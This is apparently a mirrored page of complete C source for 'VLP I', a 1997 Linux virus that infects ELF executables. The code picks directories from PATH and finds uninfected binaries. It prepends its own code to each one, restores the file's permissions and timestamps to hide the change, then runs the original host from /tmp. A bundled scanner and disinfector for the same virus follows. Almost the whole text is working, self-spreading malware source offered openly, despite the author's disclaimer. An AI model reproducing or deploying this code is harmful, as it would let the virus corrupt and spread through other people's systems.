mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
711 lines
19 KiB
C
711 lines
19 KiB
C
|
|
/* --- Cut - Begin MAIN.C --- */
|
|
|
|
/* This is VLP I . Another method to infect ELF-execs.
|
|
* Copyright (C) 1997 by Stealthf0rk of S V A T
|
|
* This Virii contains *no* malicious code, but due to
|
|
* bugs it is possible that you may get some damage on your system.
|
|
* You use this progrma(s) on your own risk ! ! !
|
|
* I'm not responsible for any damage you may get due to playing around
|
|
* with this. Only run VLP with permission of the owner of the system you
|
|
* wish to test VLP on.
|
|
*
|
|
* virii: $ cc -O2 -DDEBUG main.c get.c file_ops.c -o virii
|
|
* $ strip virii
|
|
* nacs: $ cc -O2 nacs.c get.c file_ops.c
|
|
*
|
|
* greets to NetW0rker and naleZ
|
|
*
|
|
* how it works
|
|
* in bash pseudo_code:
|
|
*
|
|
* find hostfile
|
|
* cp hostfile tmp
|
|
* grep THE_VIRCODE argv[0] > hostfile
|
|
* cat tmp >> hostfile
|
|
* grep THE_OLD_APPENDED_CODE_ON_ARGV[0] argv[0] > tmp
|
|
* tmp
|
|
*
|
|
*
|
|
* if you wanna contact the SVAT-group, write to
|
|
* stealthf0rk, stealth@cyberspace.org
|
|
*/
|
|
|
|
#include "vx.h"
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <errno.h>
|
|
|
|
/* The filedescriptor for the LOG-file */
|
|
|
|
#ifdef DEBUG
|
|
FILE *fd;
|
|
#endif
|
|
|
|
int main(int argc, char **argv, char **envp)
|
|
{
|
|
char *s, *s2, *path, *dir;
|
|
int i;
|
|
char from[200];
|
|
|
|
#ifdef DEBUG
|
|
/* If U are angry do this:
|
|
* setenv("PATH", "/root/VTEST/bin:/root/VTEST/bad:/root/VTEST/usr/bin:/root/VTEST/bad2", 1);
|
|
*/
|
|
fd = fopen(TRACEFILE, "a");
|
|
#endif
|
|
DFPRINTF("====== tracefile of stealthf0rk's VLP ==========\n");
|
|
path = getenv("PATH");
|
|
s = whereis(path, argv[0]); /* return only static! -> */
|
|
if (strcpy(from, s) == NULL) /* so we need a copy */
|
|
return -1;
|
|
DFPRINTF("@f main: file of action is <%s>\n", from);
|
|
i = infect(3, from);
|
|
exechost(from, argv, envp);
|
|
return 0;
|
|
}
|
|
|
|
/* --- Cut - End MAIN.C --- */
|
|
|
|
|
|
/* --- Cut - Begin FILE_OPS.C --- */
|
|
|
|
/* Thiz file contains the routines for writing the code etc. */
|
|
|
|
#include <stdio.h> /* .h files maybe different in different OS */
|
|
#include <stdlib.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include <sys/stat.h>
|
|
#include <string.h>
|
|
#include <linux/dirent.h>
|
|
|
|
#include "vx.h"
|
|
|
|
#define TEMP "/tmp/temp" /* with this generate the name of the EXE */
|
|
#define TMP "/tmp/tmp" /* */
|
|
|
|
/*------------------------------*/
|
|
|
|
#ifdef DEBUG
|
|
extern FILE *fd; /* debugging */
|
|
#endif
|
|
|
|
struct utimbuf {
|
|
time_t actime;
|
|
time_t modtime;
|
|
};
|
|
|
|
/* ATA, ATH, ATD ... not found in my .h's */
|
|
|
|
extern int utime(char *, struct utimbuf*);
|
|
|
|
/* infect <anz> files , Auftraggeber is <caller> */
|
|
|
|
int infect(int anz, char *caller)
|
|
{
|
|
int i = 0, j = 0;
|
|
char *dir, *f, *path;
|
|
|
|
char file[200];
|
|
struct stat status; /* save time ... */
|
|
|
|
path = getenv("PATH");
|
|
if ((dir = getdir(path)) == NULL) /* find directory */
|
|
return -1;
|
|
|
|
while (i < anz && j < 10) { /* <anz> times */
|
|
DFPRINTF("------------- new infection stack ----------\n");
|
|
DFPRINTF("@f infect: directory of infection is <%s>\n", dir);
|
|
j++;
|
|
if ((f = gethost(dir, FILEPATH)) == NULL)
|
|
continue;
|
|
strcpy(file, f);
|
|
if (saveattribs(file, &status) < 0)
|
|
continue;
|
|
if (infect_host(file, caller) < 0)
|
|
continue;
|
|
if (restoreattribs(file, status) < 0)
|
|
continue;
|
|
i++;
|
|
j = 0;
|
|
DFPRINTF("@f infect: infected file is <%s>\n", file);
|
|
}
|
|
return i;
|
|
}
|
|
|
|
|
|
/* infect <host> directly */
|
|
|
|
int infect_host(char *host, char *caller)
|
|
{
|
|
int in,out,
|
|
r,w;
|
|
const int vlength = VLENGTH;
|
|
char *buff;
|
|
|
|
if ((buff = (char*)malloc(vlength)) == NULL)
|
|
return -1;
|
|
|
|
/* copy <host> to tempfile, open and truncate [the host]
|
|
* and copy the beginning (virus, vlength byte) of the running
|
|
* program [file 'caller'] to it.
|
|
*/
|
|
if (cp(host, TMP) == -1)
|
|
return -1;
|
|
|
|
DFPRINTF("@f infect_host: copied <%s> to <%s> \n", host, TMP);
|
|
if ((in = open(caller, O_RDONLY)) == -1)
|
|
return -1;
|
|
if ((out = open(host, O_RDWR|O_TRUNC)) == -1)
|
|
return -1;
|
|
DFPRINTF("@f infect_host: opened host <%s> and caller <%s>\n", host, caller);
|
|
if ((r = read(in, buff, vlength)) == -1)
|
|
return -1;
|
|
if ((w = write(out, buff, vlength)) == -1)
|
|
return -1;
|
|
close(in);
|
|
if ((in = open(TMP, O_RDWR)) == -1)
|
|
return -1;
|
|
|
|
/* append the rest of the original file to the host -> end of infection */
|
|
|
|
while ((r = read(in, buff, vlength)) > 0) {
|
|
if ((w = write(out, buff, r)) == -1)
|
|
return -1;
|
|
}
|
|
close(in);
|
|
close(out);
|
|
free(buff);
|
|
DFPRINTF("@f infect_host: try to remove <%s>\n", TMP);
|
|
remove(TMP);
|
|
return 0;
|
|
}
|
|
|
|
|
|
|
|
/* -------------------- isinfected ---------------------
|
|
* look if a 'detectstring' appears at the end of 'ffile'
|
|
* return 1 if so, 0 if not
|
|
*/
|
|
|
|
int isinfected (char *ffile)
|
|
{
|
|
int out,r = 0;
|
|
char cmp[4] = {0};
|
|
|
|
DFPRINTF("@f isinfected: look at <%s>\n", ffile);
|
|
if ((out = open(ffile, O_RDONLY)) == -1)
|
|
return -1;
|
|
if ((r = lseek(out, VLENGTH + 1, SEEK_SET)) == -1)
|
|
return -1;
|
|
if ((r = read (out, cmp, 3)) == -1)
|
|
return -1;
|
|
if (strcmp("ELF", cmp) == 0) {
|
|
close(out);
|
|
return 1;
|
|
} else
|
|
{
|
|
close(out);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
/* ------------ iself ------------
|
|
* look if 'host' is ELF
|
|
* return 1 if so, 0 if not
|
|
* [buggy: an objectfile is also elf as a full executable {:-(8 ]
|
|
*/
|
|
|
|
int iself(char *host)
|
|
{
|
|
int in,
|
|
r = 0;
|
|
char mn[5] = {0x7f,0x45,0x4c,0x46,'\0'}, /* .ELF */
|
|
buff[5] = {'\0'};
|
|
DFPRINTF("@f iself: look at file <%s>\n", host);
|
|
if ((in = open(host, O_RDONLY)) == -1)
|
|
return -1;
|
|
if ((r = read(in, buff,4)) == -1)
|
|
return -1;
|
|
if (strcmp(buff, mn) == 0) {
|
|
close (in);
|
|
return 1;
|
|
}
|
|
else {
|
|
close (in);
|
|
return 0;
|
|
}
|
|
}
|
|
|
|
/* isclean() returns 1 if 'file' is clean
|
|
* and 0 if not - "clean" means healty,
|
|
* ELF-executable and normal file (not dir ...)
|
|
*/
|
|
|
|
int isclean(char *file)
|
|
{
|
|
if (isregular(file) == 0) /* prove this first !!! */
|
|
return 0;
|
|
if (isinfected(file) == 1)
|
|
return 0;
|
|
if (iself(file) == 0)
|
|
return 0;
|
|
return 1;
|
|
}
|
|
|
|
/* is <file> a normal one ? (links are, directorys not)
|
|
* returns 1 if so
|
|
*/
|
|
|
|
|
|
int isregular(char *file)
|
|
{
|
|
struct stat status;
|
|
|
|
DFPRINTF("@f isregular: <%s>\n", file);
|
|
if (stat(file, &status) == -1)
|
|
return 0;
|
|
if (!S_ISREG(status.st_mode))
|
|
return 0;
|
|
else
|
|
return 1;
|
|
}
|
|
|
|
|
|
/* --------------- exechost ------------------
|
|
* execs the file wich follows the virii and wich must
|
|
* be seppareted
|
|
*/
|
|
|
|
int exechost(char *caller, char **arglist, char **envlist)
|
|
{
|
|
|
|
int i, j, in, out,
|
|
r, w;
|
|
char *buff;
|
|
const int vlength = VLENGTH;
|
|
char tempfile[20];
|
|
struct stat status;
|
|
|
|
|
|
DFPRINTF("@f exechost: caller = <%s> argv[0] = <%s>\n", caller, arglist[0]);
|
|
DFPRINTF("=========== end of report =============\n");
|
|
#ifdef DEBUG
|
|
if (fd != stdout)
|
|
fclose(fd);
|
|
#endif
|
|
|
|
if ((buff = (char*)(malloc(vlength))) == NULL)
|
|
return -1;
|
|
/* copy rest out of the program */
|
|
|
|
if ((in = open(caller, O_RDONLY)) == -1)
|
|
return -1;
|
|
|
|
/* Since the files wich are just executed are locked (can't be opened for
|
|
* writing) and more than one of them can run at the same time [that means
|
|
* also more that one of a infected file ...] under UNIX we have to search
|
|
* for the next tempfile (/tmp/tempXYZ) we can use.
|
|
*/
|
|
out = -1;
|
|
j = 0;
|
|
while (out < 0) {
|
|
sprintf(tempfile, "%s%d", TEMP, j++);
|
|
out = open(tempfile, O_RDWR|O_CREAT|O_TRUNC);
|
|
}
|
|
|
|
|
|
/* from position 'vlength' ,the virus ends there */
|
|
|
|
if (lseek(in, vlength, SEEK_SET) == -1)
|
|
return -1;
|
|
while ((r = read(in, buff, vlength)) > 0) {
|
|
if ((w = write(out, buff, r)) == -1)
|
|
return -1;
|
|
}
|
|
close(in);
|
|
close(out);
|
|
free(buff);
|
|
|
|
/* put the ORIGINAL attribs of the file to the tempfile */
|
|
saveattribs(caller, &status);
|
|
restoreattribs(tempfile, status);
|
|
|
|
execve(tempfile, arglist, envlist);
|
|
while (1);
|
|
}
|
|
|
|
|
|
/* ------------------------------- cp ----------------------------
|
|
* copy 'oldfile' to 'newfile' ,don't look for permissons
|
|
*/
|
|
|
|
int cp(char *oldfile,char *newfile)
|
|
{
|
|
char *buff;
|
|
int nf,of,r,w;
|
|
|
|
if ((buff = (char*)malloc(5000)) == NULL)
|
|
return -1;
|
|
if ((of = open(oldfile, O_RDONLY)) == -1)
|
|
return -1;
|
|
if ((nf = open(newfile, O_RDWR|O_CREAT|O_TRUNC)) == -1)
|
|
return -1;
|
|
while ((r = read(of, buff, 5000)) > 0) {
|
|
if ((w = write(nf, buff, r)) == -1)
|
|
return -1;
|
|
}
|
|
DFPRINTF("@f cp: successfull copy of %s to %s\n", oldfile, newfile);
|
|
free(buff);
|
|
close(nf);
|
|
close(of);
|
|
return 0;
|
|
}
|
|
|
|
/*---------------------------------------------*/
|
|
|
|
int saveattribs(char *host, struct stat *status)
|
|
{
|
|
return stat(host, status);
|
|
}
|
|
|
|
/*---------------------------------------------*/
|
|
|
|
int restoreattribs(char *host, struct stat status)
|
|
{
|
|
struct utimbuf time;
|
|
int retval;
|
|
|
|
if ((retval = chmod(host, status.st_mode)) < 0)
|
|
return retval;
|
|
time.actime = status.st_atime;
|
|
time.modtime = status.st_mtime;
|
|
return utime(host, &time);
|
|
}
|
|
|
|
/* --- Cut - End FILE_OPS.C --- */
|
|
|
|
|
|
|
|
/* --- Cut - Begin GET.C --- */
|
|
|
|
/* this file contains the functions for find first/next :)
|
|
* and all the others ...
|
|
*/
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
#include <unistd.h>
|
|
#include <stdlib.h>
|
|
#include <dirent.h>
|
|
#include <sys/stat.h>
|
|
#include "vx.h"
|
|
|
|
#ifdef DEBUG
|
|
extern FILE *fd;
|
|
#endif
|
|
|
|
/* the same as 'whereis' on the shell
|
|
* ATTENTION - return only static - t.m. you can't
|
|
* use it for further actions.At the next call of whereis() the
|
|
* buffer will be overwritten !!!
|
|
* So its need to save the return in a copy before we call whereis()
|
|
* again.
|
|
*/
|
|
|
|
char *whereis(char *path, char *prog)
|
|
{
|
|
#define IN_PATH path - _begin < pathlen + 2
|
|
|
|
static char file[200];
|
|
int i = 0, pathlen;
|
|
char *_begin;
|
|
struct stat status;
|
|
|
|
_begin = path;
|
|
pathlen = strlen(path);
|
|
if (strstr(prog,"/") != NULL) /* if its entered with path */
|
|
return prog; /* -> gotcha */
|
|
memset(file,'\0',200);
|
|
|
|
/* Loop until found or the pointer is not longer "in path".
|
|
* [the strXYZ() functions fuzzy the best debugger.
|
|
* If you want feel free to debug the virus. :-> ]
|
|
*/
|
|
|
|
while (access(file, X_OK) != 0 && IN_PATH) {
|
|
i = strcspn(path,":"); /* split string into dirs */
|
|
strcpy(file, ""); /* only for '\0' ! */
|
|
strncat(file, path, i);
|
|
strcat(file, "/");
|
|
strcat(file, prog);
|
|
path = path + i + 1;
|
|
}
|
|
if (!(IN_PATH))
|
|
return NULL;
|
|
else {
|
|
DFPRINTF("@f whereis: found file <%s>\n", file);
|
|
return file;
|
|
}
|
|
#undef IN_PATH
|
|
}
|
|
|
|
/* search randomly a directory (one from path)
|
|
* and use this for further actions
|
|
*/
|
|
|
|
char *getdir(char *path)
|
|
{
|
|
#define NOT_IN_PATH path - _begin >= pathlen
|
|
#define RANDNUM (int)((double)strlen(path)*rand()/(RAND_MAX + 1.0))
|
|
|
|
static char dir[100];
|
|
int n, r, not_found = 1, pathlen;
|
|
char *_begin;
|
|
static first = 1;
|
|
|
|
_begin = path;
|
|
pathlen = strlen(path);
|
|
|
|
memset(dir,'\0',100);
|
|
if (first)
|
|
srand(getpid());
|
|
first = 0;
|
|
|
|
while (not_found) {
|
|
r = RANDNUM;
|
|
path += r;
|
|
if (r != 0) {
|
|
path += strcspn(path, ":");
|
|
path ++;
|
|
}
|
|
if (NOT_IN_PATH) {
|
|
path = _begin;
|
|
continue;
|
|
}
|
|
not_found = 0;
|
|
n = strcspn(path, ":");
|
|
strcpy(dir, ""); /* ... */
|
|
strncat(dir, path, n);
|
|
strcat(dir,""); /* needed ??? ... */
|
|
}
|
|
DFPRINTF("@f getdir: found directory <%s>\n", dir);
|
|
return dir;
|
|
|
|
#undef NOT_IN_PATH
|
|
#undef RANDNUM
|
|
}
|
|
|
|
/* Search in 'dir' until a "good" file is found
|
|
* or all of them are seen as "bad" .
|
|
* In this case we come back later :-) .
|
|
* If flag == 1 return includes path, if flag == 0 not.
|
|
*/
|
|
|
|
char *gethost(char *dir, int flag)
|
|
{
|
|
#define RANDNUM (int)((double)(found)*rand()/(RAND_MAX + 1.0)) /* uff */
|
|
|
|
static int first = 1, gen = 0;
|
|
int r, i = 0;
|
|
static struct dirent **filelist;
|
|
char *host, *path;
|
|
static int found;
|
|
|
|
path = getenv("PATH");
|
|
|
|
/* Only 'randomize' at the first call .
|
|
* Use scandir() to read out the directory.
|
|
*/
|
|
if (first) {
|
|
if ((found = scandir(dir, &filelist, 0, 0)) <= 0)
|
|
return NULL;
|
|
srand(getpid());
|
|
}
|
|
r = RANDNUM;
|
|
|
|
/* Get one of the file randomly. */
|
|
|
|
if ((host = whereis(path, filelist[r]->d_name)) == NULL)
|
|
return NULL;
|
|
/* isclean means ready for infection: NOT a directory
|
|
* NOT a textfile and NOT infected
|
|
*/
|
|
while (isclean(host) != 1 && i < found) {
|
|
r = RANDNUM;
|
|
if((host = whereis(path, filelist[r]->d_name)) == NULL)
|
|
return NULL;
|
|
i++;
|
|
}
|
|
first = 0;
|
|
if (i >= found)
|
|
return NULL;
|
|
else {
|
|
DFPRINTF("@f gethost: got host <%s>\n", host);
|
|
if (flag == 0)
|
|
return filelist[r]->d_name; /* static */
|
|
if (flag == 1)
|
|
return host; /* static, da host ein statischer */
|
|
else /* return von *whereis(...) ist */
|
|
return NULL;
|
|
}
|
|
#undef RANDNUM
|
|
}
|
|
|
|
/* --- Cut - End GET.C --- */
|
|
|
|
|
|
|
|
/* --- Cut - Begin VX.H --- */
|
|
|
|
#include <sys/stat.h>
|
|
|
|
#define FILEONLY 0
|
|
#define FILEPATH 1
|
|
#define VLENGTH 8000 /* you may have to change this value */
|
|
|
|
/* be sure that /root/VTEST exists if DEBUG is turned on ... */
|
|
|
|
#ifdef DEBUG
|
|
#define TRACEFILE "/root/VTEST/VIRtrace"
|
|
#define DFPRINTF(format, args...) fprintf(fd, format, ##args)
|
|
#else
|
|
#define DFPRINTF(format,args...)
|
|
#endif
|
|
|
|
|
|
int infect(int, char*);
|
|
int exechost(char*, char**, char**);
|
|
int isinfected(char*);
|
|
int iself(char*);
|
|
int cp(char*, char*);
|
|
int restoreattribs(char*, struct stat);
|
|
int saveattribs(char*, struct stat*);
|
|
int infect_host(char*, char*);
|
|
int isclean(char*);
|
|
int isregular(char*);
|
|
|
|
char *whereis(char*, char*);
|
|
char *gethost(char*,int);
|
|
char *getdir(char*);
|
|
|
|
|
|
/* --- Cut - End VX.H --- */
|
|
|
|
|
|
|
|
/* --- Cut - Begin NACS.C --- */
|
|
|
|
/* Falls er sich mal aus dem Staub macht ...
|
|
*
|
|
* $ cc -O2 nacs.c get.c file_ops.c -o nacs
|
|
* $ strip nacs
|
|
*
|
|
* NetW0rker/ S V A T
|
|
*/
|
|
|
|
#include <stdio.h>
|
|
#include <stdlib.h>
|
|
#include <dirent.h>
|
|
#include <string.h>
|
|
#include <sys/stat.h>
|
|
#include <unistd.h>
|
|
#include <fcntl.h>
|
|
#include "vx.h"
|
|
|
|
#undef DEBUG
|
|
|
|
int scan_dir (char*, char*, int);
|
|
int disinfect(char*);
|
|
|
|
int main (int argc, char *argv[])
|
|
{
|
|
int FLAG = 0; /* == 0 -> nicht saeubern, == 1 saeubern */
|
|
|
|
if (argc < 2) {
|
|
printf("\n\n nacs V 0.1 Beta \\/ >< Virusscanner fuer den LDV I\n\n"
|
|
"Aufruf: <nacs [directory] [logfile]> scannt 'directory' mit allen Unterverzeichnissen\n\n");
|
|
exit(0);
|
|
}
|
|
|
|
if (argc == 4)
|
|
FLAG = 1;
|
|
scan_dir (argv[1], argv[2], FLAG);
|
|
printf ("\n\nnacs: fertig\n\n");
|
|
return 0;
|
|
}
|
|
|
|
/*------------------------------------------------- */
|
|
|
|
int scan_dir (char *directory, char *logfile, int flag)
|
|
{
|
|
FILE *fd;
|
|
char *fileapath;
|
|
struct dirent **filelist;
|
|
struct stat buf;
|
|
int count = 0,i = 0;
|
|
char *detectstring = "VLP";
|
|
|
|
fd = fopen(logfile, "w+"); /* return egal */
|
|
if ((fileapath = (char*) (malloc (1000))) == NULL)
|
|
perror (""), exit (1);
|
|
if ((i = scandir (directory, &filelist, 0, 0)) == -1) // dir. scannen
|
|
perror (""), exit (2);
|
|
for (count = 2; count < i; count++) { /* alle gefundenen Dateien,ausser "." , ".." */
|
|
if ((fileapath = strcpy (fileapath, directory)) == NULL) // Pfad
|
|
perror (""), exit (3);
|
|
fileapath = strcat (fileapath, "/"); /* Trenner */
|
|
if ((fileapath = strcat (fileapath, filelist[count]->d_name)) == NULL) // + Datei
|
|
perror (""), exit (4);
|
|
stat (fileapath, &buf);
|
|
if ((buf.st_mode & S_IFDIR) == S_IFDIR) /* falls Unterverzeichniss */
|
|
scan_dir (fileapath, logfile, flag); /* rekursiv weiter */
|
|
else { /* sonst scannen */
|
|
printf("\r ");
|
|
printf(" \r");
|
|
printf("Datei <%s> ist ", fileapath);
|
|
if (isinfected (fileapath)) {
|
|
if (fd != NULL)
|
|
fprintf(fd, "Datei <%s> ist infiziert.", fileapath);
|
|
printf ("infiziert");
|
|
if (flag) {
|
|
disinfect(fileapath);
|
|
printf(" ... I disinfect ...");
|
|
if (fd != NULL)
|
|
fprintf(fd, " ... I disinfect ...");
|
|
}
|
|
if (fd != NULL)
|
|
fprintf(fd, "\n");
|
|
}
|
|
else
|
|
printf("sauber");
|
|
fflush(stdout);
|
|
} /* else */
|
|
} /* for */
|
|
return count;
|
|
}
|
|
|
|
|
|
int disinfect(char *file)
|
|
{
|
|
int in, out, r;
|
|
char *buf;
|
|
|
|
buf = (char*)malloc(10000);
|
|
if (buf == NULL)
|
|
perror(""), exit(1);
|
|
cp(file, "./tmp");
|
|
in = open("./tmp", O_RDWR);
|
|
out = open(file, O_RDWR|O_TRUNC);
|
|
lseek(in, VLENGTH, SEEK_SET); /* ueber virus wegSEEKEN */
|
|
while ((r = read(in, buf, 10000)) > 0) /* cleanen teil kopieren */
|
|
write(out, buf, r);
|
|
close(in);
|
|
close(out);
|
|
remove("./tmp");
|
|
return 0;
|
|
}
|
|
|
|
/* --- Cut - End NACS.C --- */
|
|
|